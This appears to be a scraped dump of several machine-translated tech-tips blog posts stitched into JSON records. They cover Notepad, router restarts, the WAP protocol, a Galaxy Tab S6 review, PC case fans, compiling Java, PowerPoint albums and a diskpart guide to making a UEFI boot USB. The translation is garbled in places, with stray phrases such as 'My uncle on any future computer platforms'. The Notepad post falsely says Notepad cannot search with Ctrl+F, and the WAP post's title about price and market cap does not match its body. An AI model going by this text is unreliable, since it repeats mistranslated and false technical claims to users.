Benefits of Notepad Fast and light Notepad uses an archive format that is never outdated Easy to manage Privacy and security are completely in your hands  Difficulties when using Notepad There are no beautiful text formats Do not use cloud computing for synchronization and backup. No encryption or account based security There is no search feature There are no sorting features  Benefits of Notepad Windows Notepad is 35 years old and has been with every version of Windows since Windows 1.0. Its work is extremely simple: making it easier to view, create and edit text, is one of the building blocks of modern computer science.\nNotepad window Even in this day and age, Notepad is still a useful tool for taking notes quickly on your computer. Certainly, note-taking applications will support more formats, build data, and store and sync on other platforms as well. But for some, those extra features are really unnecessary. These are the reasons why Notepad still works great.\nFast and light If you want to record something really fast while the idea is still new, Notepad really shines. Just click on the Notepad icon and the program window will pop up quickly. No need to wait for libraries or other features to load into memory before you can use the program. When ideas come to you, every moment counts and Notepad is always ready to 'listen' to your ideas.\nBy the way, if you want to quickly record notes in Notepad, just press F5 and the time will be added to your file immediately.\nNotepad uses an archive format that is never outdated Text files exist for a long time on a computer (actually longer), and as long as Windows still writes these text files in an industry standard format like ASCII or Unicode, you can still read the text. My uncle on any future computer platforms. Other programs write notes on proprietary formats or even databases that are not easily readable in the future.\nEasy to manage Notepad allows you to save notes (as text files) wherever you want and do not need anything other than the operating system to show you how to organize, copy or backup them. You can transfer your notes to another application by opening them in any application that can read the text file.\nIf you use a note taking app, your notes may be locked for cost and kept in the cloud. The manufacturer stores data and they will hold the key to your room full of ideas.\nPrivacy and security are completely in your hands Note apps that use cloud sync, your notes will be pushed to the Internet and easily viewable on any device. This means you won't have much control over all your notes, like lending your device to family or friends.\nMoreover, the notes synchronized via the cloud are usually stored on remote servers, which are publicly accessible. This means the possibility of your data being stolen from anywhere in the world is very high. Just a breach of security in your account and all your most private information will be exposed.\nWith a text file in Notepad, the data is completely in your hands, stored on your device. As long as you follow good computer security and safety habits, those text files won't run anywhere unless you delete them.\nDifficulties when using Notepad Notepad is easy to use, but it cannot be said to be the best note taking solution for everyone. And here are Notepad's shortcomings if you consider it with other note-taking applications today.\nThere are no beautiful text formats This is the truth. If you need text formatting features, such as bold, italic, or font changes, Notepad can't help you. However, you can use symbols and punctuation to create basic formats. For example, the asterisk instead of the bullet points. The Tab key is used to indent and Caps Lock if you want to write a title.\nUse symbols and punctuation to change formats If you really can't live without basic formatting, you should try WordPad or a more professional text typing application called Microsoft Word.\nDo not use cloud computing for synchronization and backup. If you prefer working with medium-format text and are capable of backing up and syncing, save your Notepad file to cloud services like Dropbox or OneDrive. Every time you save something in Notepad, your changes will be available on all devices that use that cloud application.\nNo encryption or account based security Text files cannot be locked into a default encrypted account, unless you save them in a file partition managed by VeraCrypt or Microsoft's Bitlocker. And if you want to restrict access to your notes with a password, there are many ways to keep them private. For example, do not let anyone use your computer.\nThere is no search feature It is true that you cannot find a word or a sentence in Notepad by pressing Ctrl + F. But what if you have up to 500 text files and need to find the information of one of them? In this case, Windows Search will rescue you. This program will help you find information in many text files.\nThere are no sorting features If you want to organize notes by subject or date, create a folder structure in File Explorer and copy your file to the right place.\nncG1vNJzZmismaXArq3KnmWcp51kxKnFjKKqZqafqbKxrcNmqq2hnKF6onnGq5yarF2jvLWxjK2YpKGenHqivM%2BloJyZpJ68rw%3D%3D\n","link":"/post/why-is-notepad-still-a-great-note-taking-application/","section":"post","tags":null,"title":"Why is Notepad still a great note taking application?"},{"body":"Every time your internet connection has a problem, you often apply \"divine\" method to unplug the router and wait a few minutes and then plug it back in, everything will be resolved, the network will work stably again. as usual. So have you ever wondered why restarting your router is often so miraculous in this case?\nSome solutions to fix the Wi-Fi router must reset to enter the network Why should the WiFi transmitter be turned off for 10 seconds before restarting? 6 problems with routers and solutions to overcome Restarting the router may solve some problems You may not know, the router is basically similar to a small computer. Inside the plastic case also includes components such as CPU, RAM and storage memory, all controlled by an operating system. You usually restart the computer to resolve the error and so is the Wi-Fi router.\n  Most service providers (ISPs) usually provide a dynamic IP address, a serial number that helps devices identify, send and receive information, just like your home address. In addition, there is static IP but only for a specific purpose, mainly in the enterprise.\nWhen using a smartphone, tablet or laptop with Wi-Fi connection, they are usually given a dynamic IP address. Also because it is dynamic IP, they can change at any time and when your router does not \"recognize\" the device in case the IP has changed, of course the network connection will have problems. And at this point, restarting the router will help the router and the device connect to each other.\nYou can find out more carefully by the article: Why restarting the router can overcome many problems?\nWhen there are too many devices connecting a Wi-Fi router, you should restart the router It's not surprising that many people now have more than a dozen Wi-Fi devices at the same time: smart TVs, smart houses, etc. Having too many devices connecting a Wi-Fi router, Of course, your router may run out of memory or run slowly like \"turtle\". With only about 1GB of internal memory or less, the router will have problems when asked to download, then restarting the router can also fix the error.\n  During a reboot, the router can find low-traffic channels and use them to speed up operations. However, if you have reset your router several times and still can't fix the error, it's probably time to pull out your wallet and buy a newer router. Simply because the old router no longer meets the current high demand for connectivity and use.\nAccording to Consumer Reports, new Wi-Fi routers support 802.11ac with the ability to \"carry\" more than 20 connected devices at the same time. For comparison, the 802.11g standard introduced in 2003 can only handle stable 2 or 3 connected devices. But the number of more than 20 is still quite small if compared to the current network speed can be achieved, the number of connected devices can reach nearly a hundred.\nIn short, restarting the router is a good thing to do and do it regularly to make sure your router is working consistently. If the router is located too far away or is not convenient to turn off, consider buying a timer socket and setting the time to turn on and off the router, preferably turned off at night, the time everyone has slept. drunk then waited about 30 minutes later, then turned it back on.\nSee more:\nSet up a new router using IP address 192.168.1.1 Top 7 best Wifi routers in 2017 The best 8 long-range Wifi routers in 2017 How to reset WiFi router VNPT Reset and change the password of the Verizon FIOS Router device ncG1vNJzZmismaXArq3KnmWcp51kxKnFjKyfqK2cmXq6u9RmqZ6rpJa%2FtXnToZxmqp%2Bqwaa%2BjKucoK2clr%2BtxQ%3D%3D\n","link":"/post/why-should-you-restart-the-router-regularly/","section":"post","tags":null,"title":"Why should you restart the router regularly?"},{"body":"WML is defined as an XML 1.0 application. It allows to create web applications for mobile devices. In 1998, WAP Forum was founded by Ericson, Motorola, Nokia and Unwired Planet, with the aim of standardizing various wireless technologies through protocols.\nThe WAP protocol is the result of the joint efforts of the members of the WAP Forum. In 2002, the WAP Forum was merged with many other industry forums, leading to the creation of the Open Mobile Alliance (OMA).\n  WAP model The user opens the browser on the mobile device and selects a website to view. The mobile device sends the URL-encoded request over the network to the WAP gateway using the WAP protocol.\n  The WAP gateway converts this WAP request into a regular HTTP URL request and sends it over the Internet. The request comes to a specified web server and it handles the request just like any other request and sends the response back to the mobile device via the WAP port in the WML file, which can be seen in micro- browser.\nWAP protocol layers   1. Application class This class contains the Wireless Application Environment (WAE). It contains mobile device specifications and content development programming languages ​​such as WML.\n2. Class session This layer contains the Wireless Session Protocol (WSP). It provides the ability to suspend the connection and reconnect quickly.\n3. Transaction class This layer contains the Wireless Transaction Protocol (WTP). It runs on UDP (User Datagram Protocol) and is part of TCP / IP and provides transaction support.\n4. Class of security This class contains Wireless Transaction Layer Security (WTLS). It provides data integrity, privacy, and authentication.\n5. Transport class This class contains the Wireless Datagram Protocol. It presents a consistent data format for the higher layers of the WAP protocol stack.\nncG1vNJzZmismaXArq3KnmWcp51kxKq%2BxKWcrKtdlr2xuMicmK2hn6N6sb7Oraacp5xixKK8jKmpopuVYrqivsqeq5yZoGKwqa3RrWSappRis7a6w5qknqaklrm0ecinnag%3D\n","link":"/post/wireless-application-protocol-wap-price-marketcap-chart-and-fundamentals-info/","section":"post","tags":null,"title":"Wireless Application Protocol (WAP) price, marketcap, chart, and fundamentals info"},{"body":"The leading internet search company in China has just launched its first internet browser. Basically the features on Baidu browser meet the user's requirements.\n  Baidu browser.\nThese functions compared to current browsers do not yet have a major breakthrough similar to the features that many browsers already have such as Quick Tab, menu locations . In addition, Baidu also offers one-stop This browser-based application row. Currently most are free, familiar applications for Chinese people to download to the computer.\nLater, Baidu was also judged to be copying the idea especially when compared to the Google Chrome browser, it didn't make much difference. However, Google's dominance in the internet search market also needs to be counterbalanced in which Baidu can be a worthy competitor. Furthermore, the launch of the browser and like the Baidu search engine, part of the internet traffic will not point to Google.\nncG1vNJzZmismaXArq3KnmWcp51kr6K1w65km6qfrMCmvoyloKSdXZy8sLPLnmScoKKkuqY%3D\n","link":"/post/baidu-browser-like-google-chrome/","section":"post","tags":null,"title":"Baidu browser like Google Chrome?"},{"body":" 8 things only people \"like to be alone\" understand Writing on paper is a way to help people become smarter 8 reasons to make you smarter and stronger when you're alone According to many studies that have proven, those who feel happy and happy to spend a lot of time alone, separate from others, are those with high IQ.\nBeing alone is lonely, isolated from society or eccentric? In fact, this is not wrong when you prefer to spend more time with yourself than social exchange. That's when you need time for yourself, creating relaxation both spiritually and physically.\n  If you think that those who enthusiastically participate in social activities, enjoy the gatherings of friends and relatives will be happy and intelligent, then this is not entirely accurate. Do not believe it? British Psychologists have studied and addressed the issue of how an individual's level of intelligence, how the population density and friendship affect happiness.\nResearchers surveyed 15,000 people between the ages of 15 and 28 and found the results surprising. People with high IQ are rarely satisfied with crowded activities. They often spend more time alone and feel happy, happy because of that. The research leader, psychologist Satoshi Kanazawa said: 'Population density and social correlation are closely related to an individual's feelings and emotions. People surveyed expressed satisfaction when they were alone as a group of people with high IQ '.\n  Do you know why smart people like to be alone? And what do they focus on when they are alone? People with high IQ often spend some time to meet friends or gather to eat because they do not want to be interrupted by their focus on their work, projects and thoughts. In particular, those who work require creativity and research to feel happy even if they are alone.\nWhen you are in a crowd, you tend to follow what others do. When you are in your own space, outside of the crowd influences, you can completely do what you want.\nSome people will draw, others will cook, read, write or compose music. There are many ways for people to be creative, and their own space will help you discover your special interests and abilities.\n  On the other hand, is there an opinion that preferring to be alone is not suitable for community development today? The brains of modern people have many similarities with the primitive people's brains. That means people will be smarter if they integrate and compete when they live in a community environment.\nOf course, we cannot deny this. But people with high IQ are not the people who are completely separate from the community. Being separate and living independently are two concepts that cannot be equated.\nPeople who like to live alone are sometimes because they want to take the time to connect internally, thereby helping them adapt and balance in every situation. Their big goal is to tap their full potential.\nncG1vNJzZmismaXArq3KnmWcp51kr6a1zaBkmqSfo7JutdJmpaisXZqwpLHNramim12XwrV5wGaqop%2BeYrynec%2BepqmklWLEqsDHZp%2Bin5hitrI%3D\n","link":"/post/being-alone-is-not-eccentric-but-a-sign-of-people-with-high-iq/","section":"post","tags":null,"title":"Being alone is not eccentric but a sign of people with high IQ"},{"body":"About 5 months ago, I had the opportunity to experience Samsung Galaxy Tab S5e after a long time of not working on any tablet. And my expectations for this product were not met when the machine had a lot of 'cut' points, making the actual usage imperfect.\nThat's why knowing Samsung will pay users with the Galaxy Tab S6 to \u0026nbsp; 'fill' all that the Tab S5e lacks, my excitement increased. So is this product really good to use?\n One of the highly appreciated points of the Galaxy Tab S5e is the design, when it is one of the thinnest, lightest and most balanced tablets on the market. Samsung knows this should 'reuse' always on high-end Tab S6. The device has an impressive thickness, only about 5.7mm. This thinness, combined with the weight of 420g makes the handset comfortable, helps us use the time as well as help you feel less tired when you have to use in other places.\n The point that makes me feel very unhappy in the Tab S5e and Tab S6 is that these models only have USB Type-C port and the 3.5mm music port has been removed. Salty on the pain is that the company doesn't include a USB Type-C headset or the 3.5mm port in these boxes of tablets, which the Note 10 smartphone still has!\n This disadvantage is partly reduced by the 4-speaker system located on the bottom and top of the device, giving the volume and sound quality good enough that I do not need to use headphones when watching movies and YouTube videos in Used Time.\n Something missing of the Galaxy Tab S5e many people feel quite disappointed is that the company does not allow this device to support the pen, and that has been fixed in the Tab S6. The new generation S Pen of Tab S6 is manufactured by Wacom, with a thick body so it can hold longer than the Note 10 pen. The pen placement mechanism is also quite good, when the back has a trace ' The 'concave' has built-in magnets, it only takes a pen close to it and it will stick quite tightly.\n This pen, in addition to being used to take notes and draw, also has a few tricks that are borrowed from the Note 10 S Pen, such as turning handwriting into machine characters for easy sharing or flicking. like magic wand to add application control gestures. The pen of the Tab S6 is bigger so it's easier to 'flake' than the Note 10's pen, but I personally don't use it often, so I find it useful sometimes.\n Convert handwriting into characters\n Switch between modes, front and back camera, and zoom\n Increase or decrease the volume, transfer videos before and after in Youtube\nRight above the pen is the camera system, which is said to be the system because the Tab S6 has two: a main angle of 13MP resolution and an extra 5MP ultra-wide angle - a 'strange' point unmatched on any What a tablet!\n The Tab S6's super wide-angle camera has a viewing angle of up to 12 mm, which is wider than the ones available on smartphones, but both it and the main camera produce good quality photos: slightly pale colors, the definition is just barely enough for web posting and the HDR capability is weak. I am not a tablet user to take pictures (usually only used to capture / scan documents), so it will not be too strict in this array or compare it with high-end smartphones.\n Compare main and super wide camera focal lengths\nWhat is far more important is the front: the screen. If you look at the Tab S6, you can also 'recycle' the 10.5-inch Super AMOLED panel (1600 x 2560) from the Tab S5e, but when you use it, you can find two upgraded points. First, the panel supports the HDR10 + standard, combined with the excellent black quality and AMOLED color density that makes HDR videos come alive.\n The next upgrade point is at the bottom of the screen: a fingerprint sensor (Tab S5e uses a capacitive sensor on the side). This is an optical sensor, so it will have to shine light to read the user's fingerprint rather than the 'better' type of ultrasound on the S10 or Note 10, but also in the new generation (like A50s, A30s) should for fast and accurate reading speed.\n Optical fingerprint sensor in Tab S6\nImage quality of the background is difficult to fault, but in the process of using I also found a few errors that make it not perfect.Jelly effect occurs on the screen of the Tab S5e due to the uneven response speed has been somewhat corrected on the Tab S6, but when 'surfing' at a certain speed, we can still see it. .\n Jelly Effect appears on Galaxy Tab S5e\nOn the S6 Tab I found another display error, which is the low color uniformity in the gray tones, causing some images to appear dark and light. This phenomenon only appears in grayscale, while images with different colors, or completely black (which AMOLED panels can turn off) are not, but also a big enough error to recognize.\n The low gray uniformity on my Tab S6 was experienced, making a small part at the bottom of the device darker than the upper part.\nLeaving aside these disadvantages, we will learn another advantage of the S6 Tab is the accessory system, including a case and an external keyboard. I really like the accessories of the Tab S6, which integrate a hinge to pull out to make a very firm kick-stand.\n The operation of opening and closing the stand is very smooth, and we can put the machine in many different angles, which is convenient for entertainment and work.\n Very smooth operation of the S6 S6 back cover\nThe case also has a magnet opening and closing to hold the pen, so it will never fall if there's a suction from the device.\n The pen mechanism is probably the best on all Galaxy Tab S6 tablets\nThe half key is also connected to the machine by a magnet magnet, just brought closer will be 'sniffed' very tightly on the side of the machine. This accessory, when experienced in reality, has its advantages and disadvantages.\n Magnets and machines have magnets and tabs to \"sniff\" together easily\nFirst, when the keyboard is closed, it will not stick to the front of the machine, so it will be able to move as easily as the image below. When held, users will also automatically fold these two components together so there is no automatic opening, but the fact that they never fit completely together also makes the experience become 'cheaper'.\n The keyboard is heavy, and the magnet isn't strong, so it's still a little wobbly.\nThe typing experience can be described as: Pretty. The buttons that look in the picture are quite thin, but when pressed down there is a certain distance before reaching the bottom, unlike the butterfly keyboard 'type like not hit' of the Apple Macbook Pro!\nWhat I find most unsatisfactory is that the language switch (Lang) is right next to the spacebar, sometimes pressing wrong will switch from Vietnamese to English - which, in my opinion, should be a layer function key. 2nd rather than private key.\n The 'feature' on the Galaxy Tab S6 keyboard makes it different from older models, which is the appearance of a touch screen (Touchpad). This side is quite small, it is made of plastic so it certainly will not be able to equal the large touch screen glass on Windows laptops, but the device has it is also a plus point, helping a few operations become faster.\n Talking about 'fast', is the actual use of Galaxy Tab S6 fast or not? The answer is yes. It has a Snapdragon 855 processor, 6 / 8GB RAM and 128 / 256GB internal memory. With this configuration, Tab S6 does everything 'instantaneously' than Tab S5e with Snapdragon 670 and 4 / 6GB RAM. I'm more confident in placing heavy games like Lien Quan in the best graphics mode, instead of having to lower it to play smoothly on Tab S5e.\n One downside that still exists (without knowing if it is fixed or not) on Android is that some applications are not designed for tablets, so it will only be an 'enlarged' version of the smartphone application, losing the advantage of screen area of ​​Tab S6. Sometimes they can not be used in horizontal, forcing users to rotate the machine vertically to manipulate.\n Switch to DeX to make it easier to work!\nOne of the ways users can increase the usefulness of the Tab S6 is to enable DeX mode, which you can learn more in this article . To put it briefly, the DeX on Tab S6 is faster than older models, supports multitasking better than regular Android, drag and drop files quickly, works well with shortcuts in the second layer above. external keyboard.\nOf course, it is impossible to replace laptops for everyone, because Android's 'alternate' apps can't be as full as the full version on Mac / Windows. A simple example I encountered while using the Tab S6 instead of a laptop: Lightroom Mobile app lacked a few tools and shortcuts, and the most harmful was the inability to attach Watermark to all photos at once. !\nOn the contrary, with certain occupations, using less specialized software, the Tab S6 will surely satisfy. The tablets also have a big advantage over laptops, which will be useful for some people as the ability to support SIM, can make calls, text and use 3G / 4G networks easily without own transmitter.\n Epilogue\nWith a beautiful design, powerful configuration, and a very complete system of accessories, Samsung Galaxy Tab S6 expresses everything the Korean electronics company can do in the Android tablet segment. It may not be perfect because it still has some of the errors mentioned above, but like the Galaxy Note 10 , from the moment of birth, it 'defaulted' to become the king of a market segment because there are no rivals anymore.\n But the question that needs to be asked is: Do you want to buy an Android tablet? Tab S6 has a very strong competition from the two big players of the tablet market, the iPad Pro (with the advantage of 120Hz screen, Apple's hardware and application ecosystem) and Microsoft Surface (with Windows operating system is still the No. 1 for work). This question may be answered by each person with specific usage methods!\nncG1vNJzZmismaXArq3KnmWcp51kv6bCyJ6uZquRosC2usZmnpqkka3GbsDAm2Ssbl2ZvG7Fzq5ksJmeqXq1u4ybrLJlkaN6orrDq6ainF2prqO4xK0%3D\n","link":"/post/do-you-want-to-buy-an-android-tablet/","section":"post","tags":null,"title":"Do you want to buy an Android tablet?"},{"body":"Custom PCs often come with modern cases built in with lousy cooling fans. This is not a cost-saving action, but simply ceding the right to choose the right fan case to the user.\nAnd getting that right is important to ensure both optimal performance and long-term reliability for your custom PC. In today's post, TipsMake will show you how you choose the best fan case for your PC.\nWhy is a single fan case not enough? The short answer is that a fan case isn't nearly enough to prevent your computer from overheating.\nHowever, cooling a computer case is a bit more complicated. The case manufacturer leaves this task to you because custom PCs not only have completely different component configurations, but the physical orientation of the cooling fans also varies from version to version.\nComputer performance is proportional to the number of watts going through the CPU and GPU. Much of this power is dissipated as heat. The overall performance of your PC will be severely limited if you cannot effectively remove this heat from the components. That's a problem because PCs with only one fan case can't do a good job of dissipating heat.\nTherefore, choosing the right fan case configuration for your video editing or gaming system has a significant effect on the available cooling headroom. A PC running in a cool state allows the CPU and GPU to achieve higher turbo clock speeds while keeping them running for longer.\nIt's a free performance upgrade without risking overclocking.\nHow do fan cases work? Knowing the basic construction of a typical PC fan case makes it easy to understand the specifications and determine which is ideal for your use case. Computer fans use axial or centrifugal designs. Axial fans draw and discharge air along the axis of rotation of the impeller, while centrifugal fans draw air in a direction perpendicular to the axis of rotation.\n  Because desktop computers only use axial fans, we won't bother with the other one. A typical axial fan consists of three main parts - shaft, impeller and frame. The propeller and frame are simple plastic parts, while the shaft contains the most important and expensive components, such as motors, bearings, and electronics.\nAxial fans create airflow by driving a motor to rotate the blades at high speed. The amount of air produced depends on the engine speed/torque, the aerodynamic efficiency of the propeller, and many other factors.\nIf you are looking for a fan case, you should know how these components determine their price and quality.\nThe 5 most important fan case specifications Let's take a look at the various specifications that govern fan performance.\n1. Optimized airflow and static pressure Fan performance is determined by two mutually exclusive metrics, air flow and static pressure. The former method measures the amount of air moved by the fan in a given time, usually expressed in cubic feet per minute (CFM). The higher the fan's airflow, the more air it can move, which has a positive impact on cooling performance.\n  Fans with more airflow are ideal when you're venting hot air out of the case. The path of the air as it exits the case is completely unobstructed in this configuration. Now, imagine the same fan is used to push cold air through a liquid-cooled radiator. The thick radiator with dense fin structure is capable of significantly obstructing airflow.\nThe same high-flow fan is less effective in this role, as the restrictive grille requires the fan to generate a higher static pressure to push air through it. Such fans have a specialized blade shape designed to sacrifice airflow for improved static pressure, measured in Pascal (pa) or millimeters of water (mm H2O).\nBy their very nature, static pressure-optimized fans are used for better air intake in limited cases with higher internal component densities, commonly found in small form-factor constructions such as mini-PCs- ITX. These fans are ideal for pushing air through thick heatsinks and CPU air coolers with dense fin compartments.\n2. Fan size The dimensions of the axial fan are expressed in millimeters and are roughly equal to the length of the frame or the diameter of the blades. It affects the amount of air pushed by the fan, which in turn depends on two main factors - the surface area of ​​the blades and their rotational speed.\n  Technically, a larger fan will generate more airflow due to the larger surface area of ​​the blades, but the additional weight and aerodynamic drag also increase the amount of current and power consumption. .\nBecause most PC fan cases are designed to maximize power draw from standard motherboard fan headers, regardless of their physical size, the total power is more or less constant across the size spectrum. fan. It's not surprising that a typical 200mm fan spins at up to 800 RPM to deliver roughly the same amount of air as a 120mm fan operating at the 2000 RPM limit.\nAs a general rule, large fans tend to be quieter than smaller fans, thanks to their lower rotational speeds. You can find specialty fans that operate at higher speeds, but these fans consume more power and require a dedicated fan controller with stronger power distribution.\n3. Thickness of fan Also expressed in millimeters, the fan thickness is the second set of numbers expressed along with the fan size. In the desktop space, fan thicknesses typically range from 10mm to 40mm. Thicker fans will provide increased airflow compared to thinner fans of the same size for a number of reasons.\nThick fans make it possible to design blades with steeper angles of rotation, allowing them to draw in a larger amount of air per revolution. The greater thickness not only increases the surface area of ​​the impeller, but the thick frame also improves the inherent suction efficiency of the fan, namely the higher static pressure.\n4. Types of bearing The type of bearing used in a fan case determines its cost, service life and operating noise.\nThe cheapest fans use a sleeve bearing, whose steel shaft rotates inside a softer copper sleeve. These bearings are quieter when you first use them but become noisier over time. They also tend to fail sooner and more suddenly. The sleeve bearing fan can only be used in the vertical direction. Mounting them horizontally at the top or bottom will result in premature fan failure.\nDouble bearing fans use traditional vertical ball bearings at the front and rear ends of the shaft. This design greatly reduces friction to prolong service life and allows the fan to be used in all directions. The only downside here is the slightly increased noise level compared to the sleeve bearing. Their single bearing variants use a sleeve bearing at the other end of the shaft and are not as reliable as dual bearing types.\nFluid dynamic bearings combine the reliability of a ball bearing design with the low noise of sleeve bearing technology. It is essentially a modified sleeve bearing with herringbone cutouts to effectively squeeze lubricant on rotating surfaces. The design combines the inherent rotational force of the fan and the hydrostatic action of the lubricant to create a pressure field that stabilizes moving parts and eliminates friction. Such fans last the longest and can be mounted in all directions. Their only downside is their high price.\nHowever, the fluid dynamic bearing is not the only hybrid design based on the sleeve bearing. Sunon's Maglev bearings and Noctua's SSO also improve the design by incorporating magnets for stability and reduced friction. Both of these bearings are famous for their long life and low noise.\n5. PWM and voltage based fan speed control Intelligent processor-based speed control is a key benefit of connecting a fan to a powerful PC motherboard. Unlike typical DC fans that use only two wires - one for VCC (power) and another for ground - the simplest computer fan cases have an additional wire for the tachometer signal, which converts Continue fan rotation speed using the on-board Hall effect sensor.\n  These tripod fan cases allow the computer to sense the fan speed and adjust it to strike a balance between cooling and quiet operation. Fan speed is regulated by varying the voltage in such designs. While this works well at higher speeds, a significant voltage drop to achieve lower fan speeds will negatively affect performance.\nMore expensive fans solve this problem by adding an extra wire for the PWM (Pulse Width Modulation) signal. Such fans maintain a constant voltage, but variable speed by quickly turning the fan on and off several times a second, through the use of a high-frequency conversion circuit. The added complexity and components obviously come with a higher cost.\nOptimal fan direction Now that you know how to choose the right fan, here are some suggestions for the correct fan placement in the case. The most basic rule to remember is to make sure you direct the airflow throughout the case from one point to another.\n  Direction doesn't matter. You can draw air in from the back of the case and exhaust it at the front, and everything should work as long as you don't mind your face getting hot air in while gaming. The only exception exists when the air is directed vertically. The hot air rises spontaneously, so it is of no use against natural convection. However, installing fans on opposite sides will also not bring any effect.\nThis isn't bad for an exhaust fan, but if you put two exhaust fans at opposite ends of the case, opposing airflows will clash. The subsequent turbulent flow created causes hot air to be trapped and recirculated in the case.\nAs explained earlier, use a static pressure optimized fan to push or pull air through the radiator. If the case is not well ventilated (glass or hard material front) or is small and/or too tight on the inside, you're better off using a fan that is optimized for static pressure for the air intakes. More 'breathable' cases with mesh front visors can use airflow-optimizing fans for intake, but that's rarely optimal unless you have enough exhaust fans.\nOptimized air pressure The article recommends using at least 3 fan cases (or more for high tension applications). How many of those fans you use for exhaust and air intake will determine if the case has a positive or negative air pressure profile.\nCases that use more exhaust fans than exhaust fans will have a positive internal air pressure simply because more air is pushed in than is taken out. The high air pressure results in air being pushed out of every nook and cranny, creating a natural barrier against dust. This is a very desirable feature.\nHowever, achieving a positive pressure setting is not always feasible. You're better off focusing on drawing heat out of poorly ventilated cases. This requires more exhaust fans, resulting in a negative pressure setting. Although this setting will generate more dust, it will certainly be useful for components that are too hot.\nJust don't go overboard with optimizing negative or positive pressure. Ideally there should be a balance between the number of exhaust fans, but slightly favoring the intake air volume to maintain positive pressure. In the end, it is more important to establish proper airflow in the case.\nChoosing between the multitude of fan cases can feel overwhelming. There's a lot of information to consider, but just remember that keeping cool air circulating in one direction is the most important thing.\nHope you find the right one for you!\ncooling fan computer fan ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYpLy0sYytn55lkprAtXnFmqVmm5Gosm6yzqtksqelp3qxrw%3D%3D\n","link":"/post/how-to-choose-the-best-fan-case-for-your-pc/","section":"post","tags":null,"title":"How to choose the best fan case for your PC"},{"body":" This wikiHow teaches you how to turn your Java source code into an executable app using a local and online compiler. If you're using a computer, the most common way to compile Java code is using Java Software Development Kit (Java SDK)...\nMethod 1of 2:\nUsing Java Software Development Kit  Open the command prompt. You can use the Java Software Development Kit (Java SDK) from the command prompt on Windows, macOS, or Linux. If you don't have the Java SDK installed, see How to Install the Java Software Development Kit. Here's how to get to the command prompt on each system: Windows: Right-click the Start menu and select Command Prompt. If you don't see this option, type cmd into the Windows Search bar and click Command Prompt in the search results. macOS: Click the magnifying glass at the top-right corner of the screen to open Spotlight, type terminal, and then click Terminal in the search results. Linux: Press Ctrl+Alt+T.   Use the cd command to access the directory with your Java code. The source code is the file that ends with the .java file extension.\n  Type javac sourcecode.java and press ↵ Enter or ⏎ Return. Replace sourcecode.java with the name of your source file.[1] This compiles your source code into an executable file, which ends with the .class extension. To see the name of the new file in the current directory, run the dir (Windows) or ls -a (Mac/Linux) command. If you see an error when trying to   Type java programname and press ↵ Enter or ⏎ Return. Replace programname with the name of your program. This runs the program at the command line.\n  Jessica Tanner Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufor2quMRmmGaikauubrzRqJ6rmZ0%3D\n","link":"/post/how-to-compile-a-java-program/","section":"post","tags":null,"title":"How to Compile a Java Program"},{"body":"You want to create photo albums but you don't know how to use photo album creation software because they are too complicated.\nTo create a photo album with a simple implementation, you can use Microsoft PowerPoint directly in Microsoft Office to create your own photo album.\nThe following article will guide you how to create photo albums with PowerPoint.\nStep 1: Launch PowerPoint, select Insert -\u0026gt; Photo Album -\u0026gt; New Photo Album .\n  Step 2: Interface Edit Photo Album appears, first press File / Disk and select the file containing the photos you want to create the album.\n  You can rotate the image and adjust the brightness by using the icons under the preview image.\n  Select All pictures black and white if you want to convert all photos in the album to black and white.\n  You can move the image position in the album with the up arrow, down arrow icons. Remove photos from albums with Remove .\n  In Picture layout, you choose the number of images on a slide.\n  You choose effects for images in Frame shape and choose the background for the album in the Theme section .\n  Step 3: Click Create to create the album.\n  The result will be as follows:\n  So with 3 very simple steps, you quickly create a simple photo album with PowerPoint. You do not need to waste time with other sophisticated photo album creation software. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYypn6isn2Kura7Upqpmr5mptW68zrCcq6ifnru1\n","link":"/post/how-to-create-photo-albums-with-powerpoint/","section":"post","tags":null,"title":"How to create photo albums with PowerPoint"},{"body":"In the previous article, TipsMake introduced to you how to create a standard uefi 1-click usb boot very easily and I think it is the easiest way anyone can do. However, this way, support for Ghost is good, but installing to install win is not very satisfied.\nTherefore, in today's article, I will share one more way to create a standard UEFI boot usb that contains the Windows installer (for example, Windows 7/8 / 8.1 or Windows 10) to add other choices. For you, if you do not like to use the other 1-click tool or you do not know how to integrate the Windows installer into that tool.\nI. Notes and preparation steps? 1 / This article is dedicated to computers using UEFI standard and GPT format hard drive, because it is too easy to create a bootable usb to install windows on Lagacy standard.\nIf you do not know what standard your computer is running or what format your hard drive is in, see the article: Is your computer using the UEFI or Legacy standard?\n2 / Secondly, for UEFI and GPT hard drives, you can only install 64-bit operating systems.\n3 / Preload a Windows installer you want to install on your computer. (the file is in * .iso format).\u0026nbsp;\nII. Guide to create the fastest UEFI USB To create the UEFI USB that contains the Windows installer, there are 2 ways: Manually or by software. Yes ! and the following will be detailed instructions for the two ways mentioned above:\nMethod 1: Handmade (recommended) + Step 1:\u0026nbsp; Run CMD as admin (admin), if you are using Windows 8 or higher, press the key combination Windows + Xand selectCommand Prompt (Admin)\n+ Step 2: A window Command Promptappears, type the command diskpart\u0026nbsp;=\u0026gt; type next command list disk\u0026nbsp;so that it lists all your hard drive.\n For example, in the picture Disk 1is the USB and\u0026nbsp; Disk 0will be the hard drive, you look at the size (Size) to know exactly where the USB Disk is.\n+ Step 3: After you know exactly where the USB DISK is, type the command\u0026nbsp; select disk x \u0026nbsp;( xthe disk number of the USB). For example, in the picture above, I will type the exact command line as follows:\u0026nbsp; select disk 1\nYou follow the following commands exactly (you can write commands in lowercase letters, not necessarily capital letters):\nCLEAN - This command will wipe the data on the selected drive (this is USB). CON GPT - This command will convert to GPT format. CREATE PARTITION PRIMARY - This command will create the Partion for the entire drive you have selected. FORMAT QUICK FS = FAT32 LABEL = USBBOOTUEFI - This command will Format usb with FAT32 format (because UEFI only accepts FAT32 format) and name is USBBOOTUEFI (you can set it as you like, without accent). ASSIGN - This command will assign a location. Exit - This command is used to exit DISKPART. Exit - Exit completely from the CMD window. + Step 4: OK! Accomplished.\nNow open the *.ISO\u0026nbsp;Windows file that you have prepared earlier =\u0026gt; Copy all files inside to USB.\nYou may be wondering how to copy? It's very simple, you can extract that Windows ISO file with Winrar software.\nOr you can Mount Windows iso file to virtual drive with UltraiSO software =\u0026gt; then copy all the files in the virtual drive to USB, .\nSo you have a UEFI standard USB with Windows installer already. This way is very easy, right, just a few commands are done: D.\n Note:\u0026nbsp; If the USB is full or you do not have the need to install Win anymore, you can delete the Windows installer or any files you want. When you need to 